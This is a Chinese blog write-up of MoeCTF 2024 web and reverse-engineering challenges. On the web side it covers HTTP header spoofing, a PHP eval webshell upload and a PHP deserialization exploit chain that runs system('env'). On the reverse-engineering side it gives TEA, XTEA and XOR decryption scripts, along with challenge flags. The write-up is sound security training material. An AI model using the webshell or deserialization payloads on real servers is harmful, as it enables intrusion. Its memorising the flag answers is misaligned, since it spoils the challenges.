Featured image of post Moectf2024-Web/RE-Wp

Moectf2024-Web/RE-Wp

顺便做了,简单写点

web

入门指北

phpstudy中打开WNMP服务后,将下载得到的html和php文件覆盖掉WWW文件夹下,运行网站即可

moectf{H3r3'5_@_flYinG_kIss_f0r_yoU!}

ez_http

打开容器后,容器指引我们一步步执行获取flag

但是这些参数具体是什么意思呢?分析一下

  • 要求使用post请求——空发送一个post请求
  • post请求体为imoau=sb——在body中修改
  • parameter(参数)要求为xt=大帅b——在链接后修改?xt=大帅b
  • source要求为https://www.xidian.edu.cn/——请求头加入Referer,内容为https://www.xidian.edu.cn/
  • cookie设置user=admin——请求头中加入cookie,内容为user=admin
  • use MoeDedicatedBrowser——请求头中加入User-Agent,内容为MoeDedicatedBrowser
  • 仅允许本地访问——在请求头中加入X-Forwarded-For,内容为127.0.0.1

moectf{YoU-4RE-rEa1lY_r3AIlY-v3rY-cLEv3R!l!3a4b}

垫刀之路01: MoeCTF?启动!

cat /flag显示没有

env一下直接出来了,echo $FLAG也行

moectf{WelComE_t0_mOecTf_aNd_RoaDl-StarTuP-BY-sxrhhHa2}

垫刀之路02: 普通的文件上传

一眼一句话木马上传 上传文件2.php

1
2
3
<?php
eval($_POST["pass"])
?>

访问/uploads/2.php后post上传pass=print(system(“env”));

moectf{Up1O@D_YOur-P@YLO@D_aNd-D0-WH4t_yOUr-wAnt73b}

pop moe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class class000 {
    private $payl0ad = 0;
    protected $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

if(isset($_GET['data']))
{
    $a = unserialize($_GET['data']);
}
else {
    highlight_file(__FILE__);
}

创建了四个实例,要构建反序列化利用链获取flag,但是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php

class class000 {

    private $payl0ad = 1;

    protected $what="phpinfo";

}

echo urlencode(serialize(new class000()));

利用这个查看php信息,我们可以直接找到flag信 息

拿AI跑了一个反序列脚本,不过cat /flag没结果,看了一下env,果然在里面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

class class000 {
    private $payl0ad;
    protected $what;
    public function __construct($what) {
        $this->payl0ad = 1;
        $this->what = $what;
    }
}

class class001 {
    public $a;
    public $payl0ad;
    public function __construct($a, $payl0ad) {
        $this->a = $a;
        $this->payl0ad = $payl0ad;
    }
}

class class002 {
    private $sec;
    public function __construct($sec) {
        $this->sec = $sec;
    }
}

class class003 {
    public $mystr;
    public function __construct($mystr) {
        $this->mystr = $mystr;
    }
}

// 构造恶意代码:例如读取env
$c3 = new class003('system("env");'); // 根据实际情况调整命令

// class002实例,其sec属性为class003实例
$c2 = new class002($c3);

// class001实例,a属性指向class002,payl0ad为'dangerous'
$c1 = new class001($c2, 'dangerous');

// class000实例,what属性指向class001
$c0 = new class000($c1);

// 生成序列化字符串
$payload = serialize($c0);
echo urlencode($payload);
?>

moectf{It-5E3mS-Th@t_YoU-kN0W_whaT-i5_p0p-in-pHPpPppPPll!1}|

RE

d0tN3t

alt text

dnspy中找到main入口,查看主代码  

编写exp逆向得到flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# 提供的字节数组 (array)

array = [

    173, 146, 161, 174, 132, 179, 187, 234, 231, 244, 177, 161,

    65, 13, 18, 12, 166, 247, 229, 207, 125, 109, 67, 180, 230,

    156, 125, 127, 182, 236, 105, 21, 215, 148, 92, 18, 199, 137,

    124, 38, 228, 55, 62, 164

]

  

for i in range(len(array)):

    for j in range(32,127): # 遍历ASCII码

        if((j+114^114)^((i*i)&0xff))==array[i]:

            print(chr(j),end='')

注意可见ASCII码在32-127之间

i*i&0xff是为了限制范围在0-255之间,不然超出比较范围

Upx_revenge

魔改头,改vmp0为UPX0就可以了

moectf{554ea35c-a1bb-4d8f-a323-bd697564bf27}

tea

tea加密,逆向写解密 key:[1702060386,1870148662,1634038898,1634038904] 加密后: 676078132和957400408

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#include<bits/stdc++.h>
using namespace std;
void decrypted(uint32_t* v,uint32_t* k){
    uint32_t v0=v[0],v1=v[1],sum=0xC6EF3720,i;
    uint32_t delta=0x9E3779B9;
    uint32_t k0=k[0],k1=k[1],k2=k[2],k3=k[3];
    for(i=0;i<32;i++){
       v1-=( (v0<<4) + k2) ^(v0+sum) ^ ((v0>>5)+k3);
       v0-=( (v1<<4) + k0) ^(v1+sum) ^ ((v1>>5)+k1);
       sum-=delta; 
    }
    v[0]=v0;v[1]=v1;
}
int main(){
    uint32_t v[2]={676078132,957400408};
    uint32_t k[4]={1702060386,1870148662,1634038898,1634038904};
    decrypted(v,k);
    printf("moectf{%x-%x-9c42-caf30620caaf}\n",v[0],v[1]);
    return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from ctypes import *


def decrypt(v, k):
    v0 = c_uint32(v[0])
    v1 = c_uint32(v[1])
    delta = 0x9e3779b9
    sum1 = c_uint32(delta * 32)
    for i in range(32):
        v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
        v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
        sum1.value -= delta
    return v0.value, v1.value


if __name__ == '__main__':
    enc = [676078132,957400408]
    key = [1702060386, 1870148662, 1634038898, 1634038904]
    dec = decrypt(enc, key)
    print("xxxxxxxx-yyyyzzzz:%x %x"%(dec[0],dec[1]))

moectf{836153a5-8e00-49bd-9c42-caf30620caaf}

xtea

输入后进行了memcpy后再进行了sub_14001119f加密,最后再与答案对比进行答案判定
进入后查看加密算法,发现a3应该对应的是_DWORD,并且根据函数参数进行怕那段,重命名后再次查看
就是xtea算法,delta被魔改 根据 sub_14001119F()改解密函数倒过来解密,byte_140022000处就是加密后flag, key——v14,round——v12,长度12 加密逻辑为前八位xtea,后八位xtea,因此中间四位计算两次

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdio.h>
#include<string.h>
#include<stdint.h>
using namespace std;
unsigned char byte_140022000[] = {
    0xA3, 0x69, 0x96, 0x26, 0xBD, 0x78, 0x0B, 0x3D, 0x9D, 0xA5, 0x28, 0x62};
void decrypt(unsigned int rounds,uint32_t *v,uint32_t const k[4]){
    unsigned int i;
    uint32_t v0=v[0],v1=v[1],delta=855655493,sum=(-delta)*rounds;
    for(i=0;i<rounds;i++){
        v1-=(((v0*16)^(v0>>5))+v0) ^ (sum+k[(sum>>11) & 3] );
        sum+=delta;
        v0-=(((v1*16)^(v1>>5))+v1) ^ (sum+k[sum & 3]);
    }
    v[0]=v0;v[1]=v1;
}
int main(){
    uint32_t const k[4]={2,0,2,4};
    unsigned int rounds=32;
    decrypt(rounds,(uint32_t*)(byte_140022000+4),k);
    decrypt(rounds,(uint32_t*)(byte_140022000),k);
    printf("%s",(byte_140022000));
    return 0;
}

xxtea

v9是加密后flag 密文为v11数组,v15[3]=0xCCFFBBBB,前12个字节为moectf2024!!,抄加密代码就可以了 moectf{j9h8hg75nky6vhkslh5v5awibr4i}

secretmodule

customesize.sh解码得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
testk() {
  echo "Welcome to the Secret module!But before you begin,you need to prove your self."
  (/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
  return 0
}   

choose() {
  while true; do
    /system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
    if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
      break
    fi
  done
  if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
    echo "114514"
  else
    echo "1919810"
  fi
}

if testk; then
  ui_print "Great! Now enter the secret."

else
  ui_print "Legacy Device. Use a newer device to do this challenge"
  exit
fi

concatenated=""

for i in 1 2 3 4 5 6 7
do
  result=$(choose)
  concatenated="${concatenated}${result}"
done

input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
	echo 'You are right!Flag is'
    echo "moectf{$concatenated}"
else
    echo 'Wrong. Try again.'
	exit
fi

代码审计得到密码为七组密码组成,由114514 1919810相关的密码组成,

moedaily

excel文件,验证函数 =IF(LEN(D11)=48,IF(AND(AND(AND(AND(AND(AND(H14=1397140385,I14=2386659843),AND(H15=962571399,I15=3942687964)),AND(H16=3691974192,I16=863943258)),AND(H17=216887638,I17=3212824238)),AND(H18=3802077983,I18=1839161422)),AND(H19=1288683919,I19=3222915626)),"恭喜你,拿到了真的FLAG","FLAG输入错了,再试试"),"flag长度不对") 解释为验证H14-I19所有值是否与密文相等, 随便看一个,比如H14中表达式为=s3cr3t!E54,即s3cr3t表中的E54,而s3cr3t表中的计算都非常复杂
在表中定位到E54 =BITAND(E53+BITXOR(BITLSHIFT(F53,4)+C38,BITXOR(F53+D54,BITRSHIFT(F53,5)+D38)),4294967295) 也就是E54=(E53+((F53«4)+C38)^((F53+D54)^((F53«5)+D38)))&0xFFFFFFFF 结构很类似于TEA加密 E54与E53(上) F53(右上)C38(固定值114514)D54(114514*32)和D38(1919810)有关 同样查看其他F54的值,确定D54为sum=114514+D53,key[]={C38,D38,E38,F38},delta=114514 而delta来自A39,到这里刚好回退了32轮,看到A38和B38,因此F54由A38 B38经过而一个来自E18一个来自F18,发现又是两个数字由上一轮加密的A2和B2得到,而A2和B2最终来自表格中的F14和G14,也就是最左上角的数字
直观上理解便是左边计算加密时实用114514和1919810,右边实用415144和19883

xlsx语法

  • BITAND 函数返回两个数的按位进行“与”(AND)运算后的结果。

  • BITXOR 函数返回两个数的按位进行“异或”(XOR)运算后的结果。

  • BITLSHIFT 函数返回一个数向左移动指定位数后的数值。

  • BITRSHIFT 函数返回一个数向右移动指定位数后的数值。

  • CODE 函数用于返回文本字符串中第一个字符的 ASCII 代码

  • MID 函数返回文本字符串中从指定位置开始的特定数目的字符串。 =MID(文本, 开始位置, 字符个数)

  • IF 函数根据提供的条件参数,条件计算结果为 TRUE 时,返回一个值;条件计算结果为 FALSE 时,返回另一个值。 =IF(条件, [条件为 TRUE 时的返回值], [条件为 FALSE 时的返回值]) AND 函数返回逻辑值:如果所有参数值均为“真(TRUE)”,返回“真(TRUE)”,反之返回“假(FALSE)”。 =AND(测试条件1, [测试条件2], ...)

那么方法就变的明晰起来了,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
enc = [[1397140385, 2386659843], [962571399, 3942687964], [3691974192, 863943258], [216887638, 3212824238], [3802077983, 1839161422], [1288683919, 3222915626]]
delta = 114514
keys = [[114514,1919810],[415144,19883]]
flag = b''
for item in enc:
    a0,a1=item
    for i in range(2):
        for j in range(64,0,-1):
            key = keys[(j+1)%2]
            a0, a1 = (a1 - (((a0 << 4) + key[0]) ^ (a0 + delta * ((j + 1) // 2)) ^ ((a0 >> 5) + key[1]))) % (1 << 32), a0
    flag+=a0.to_bytes(4,'little')+a1.to_bytes(4,'little') 
print(flag)

moeprotector

虽然但是,moeprotector是moectf自主研发的一款软件保护工具,帮助我们解决调试者,中间忘了,后面忘了。 考点(免费Hint)

  • Windows下的异常处理(SEH)
  • Windows下的调试器对抗(Anti-Debugger) 温馨提示:如果你只会看IDA来静态分析,那么本题 可能对你来说比较Hard!

脱去upx壳

try-except部分,但没有被反编译,直接看汇编,是输入flag和比较flag的地方 比较部分将长度与39h比较,不是的话就打印错误提示字符串 之后会直接跳到loc_4017Fd,而又会跳到loc_401830
这个部分做了什么呢? 将30h字节的偏移移到fs寄存器,fs/gs(分别对应32位和64位)寄存器指向当前活动线程的TEB结构(线程环境块),30h指向的是PEB结构地址(进程结构) 跑起来后由于左边线程会一直做除法,所以如果我们一开始输入了除数0
程序往右边走,提前在右边打好断点后往下走,f8运行下去
这里需要输入了,按上面意思输入57个字符,输入57个a
触发反调试 使用scyllahide解反调试
第二段汇编看不懂,上面这一段实际上做了 byte_40543C[0x38]=byte_40543C[0x38]^(0x38_0x15)+0x14 所以下面这段大概就是循环byte_40543C[i]=byte_40543C[i]^(i-0x15)+0x14 下边两段也做了,不过0x15改为了0x1A和0x19
最后byte_40453C的39h处与byte_403658进行对比判断内容是否相等,写三段解密

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
unsigned char byte_403658[56] = {
    0xC7, 0xC4, 0xC9, 0xCE, 0xC2, 0xD1, 0x8B, 0x66, 0x6B, 0x8D, 0xB0, 0x45, 0xF9, 0x84, 0xFF, 0xB2, 
    0x51, 0xAB, 0xB3, 0x4C, 0x33, 0xA8, 0x61, 0x0E, 0xC5, 0x3B, 0x5B, 0xF9, 0x11, 0x82, 0x8B, 0x8E, 
    0x7A, 0x23, 0x68, 0x7A, 0x21, 0x1F, 0x87, 0x91, 0x46, 0x8D, 0x90, 0xA4, 0xA5, 0xE0, 0x35, 0xD9, 
    0x41, 0x4E, 0x44, 0xF1, 0x37, 0xAF, 0x26, 0x3A
};
unsigned char encrypt[] = {0x19,0x1A,0x15};
int main(){
    int i,j;
    for(i=0;i<3;i++){
        for(j=0;j<57;j++){
            byte_403658[j]=(byte_403658[j]-0x14)^(j+encrypt[i]);
        }
    }
    printf("%s",byte_403658);
    return 0;
}

moectf{w1Nd0Ws_S3H_15_A_g0oD_m37h0d_70_h4nd13_EXCEPTI0NS}

Just-Run-It

第一个exe文件直接运行 6257396c5933526d657a55355a6d45 第二个elf文件脱壳后wsl运行 324d444a6a4c5459794e4745744e44 第三个apk文件安卓虚拟机(14)运行 42694e7930345954566a4c57557a4e 第四个riscv64.elf文件在wsl中运行qemu虚拟机运行

1
2
a = [87, 85, 49, 78, 122, 82, 106, 90, 106, 108, 105, 79, 88, 48, 61]
print("".join(map(chr,a)))

WU1NzRjZjliOX0= 前三个组合后解密base64,加上第四个解出的再base64解密一次 moectf{59fa602c-624a-40b7-8a5c-e35e574cf9b9}

xor(大嘘)

IDA,加密和比较
加密函数,看起来是简单的异或加密dword_404078,convert出来写解密

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<stdint.h>
#include<string.h>
unsigned char byte_404058[32] = {
    0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C, 0x12, 0x52, 0x59, 0x03, 0x6D, 0x52, 
    0x04, 0x04, 0x0B, 0x33, 0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04, 0x5B,0x5A
};
unsigned char dword_404078[16] = {
    0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x5F, 0x6D, 0x6F, 0x65, 0x63, 0x74, 0x66, 0x32, 0x30, 0x32, 0x34, 
};

int main() {
    unsigned int i;
    char flag[32]={0};
    for(i=0;i<32;i++){
        flag[i]=byte_404058[i]^dword_404078[i%16];
    }
    printf("%s\n",flag);
}

打印出来 This_1s_a_f4k3_flag_plzTry_ag4in?假flag

可动调可直接看,花指令,call $+5就是push并执行下一步指令,然而后面add指令会刚好使push的地址跳过add和retn的六个字节,音次最后retn便会直接结束 我们直接在下面p创建函数
上面是很明显的tea加密,然后异或

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<stdio.h>
#include<stdint.h>
#include<string.h>
unsigned char byte_404058[32] = {
    0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C, 0x12, 0x52, 0x59, 0x03, 0x6D, 0x52, 
    0x04, 0x04, 0x0B, 0x33, 0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04, 0x5B,0x5A
};
uint32_t dword_404078[4] = { 0x6C6C6568 ,0x6F6D5F6F,0x66746365,0x34323032 };
void tea(uint32_t* p,uint32_t* q,uint32_t* k){
    uint32_t v0 = *p, v1 =*q, sum = 0xC6EF3720, i;
	uint32_t delta = 0x9e3779b9;
	uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
	for (i = 0;i < 32;i++) {
		v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
		v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
		sum -= delta;
	}
	*p = v0;*q = v1;

}
int main() {
    unsigned int i;
    char key[]={ 43,-14,-126,65,72,116,-99,-86,126,76,-38,4,8,44,-88,82,-105,119,-73,59,22,45,-44,-4,96,-66,-60,-74,115,25, -108,-121 };
    char flag[32]={0};
    for(int i=0;i<32;i++)  byte_404058[i]=byte_404058[i]^key[i%32];
    for(int i=0;i<4;i++){
        tea((uint32_t*)(byte_404058+8*i),(uint32_t*)(byte_404058+8*i+4),dword_404078);
    }
    for(i=0;i<32;i++){
        flag[i]=byte_404058[i]^ *((unsigned char*)dword_404078+i%16);
    }
    printf("%s\n",flag);
    return 0;
}

moectf{how_an_easy_junk_and_tea}

本博客已稳定运行
发表了30篇文章 · 总计6万7千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...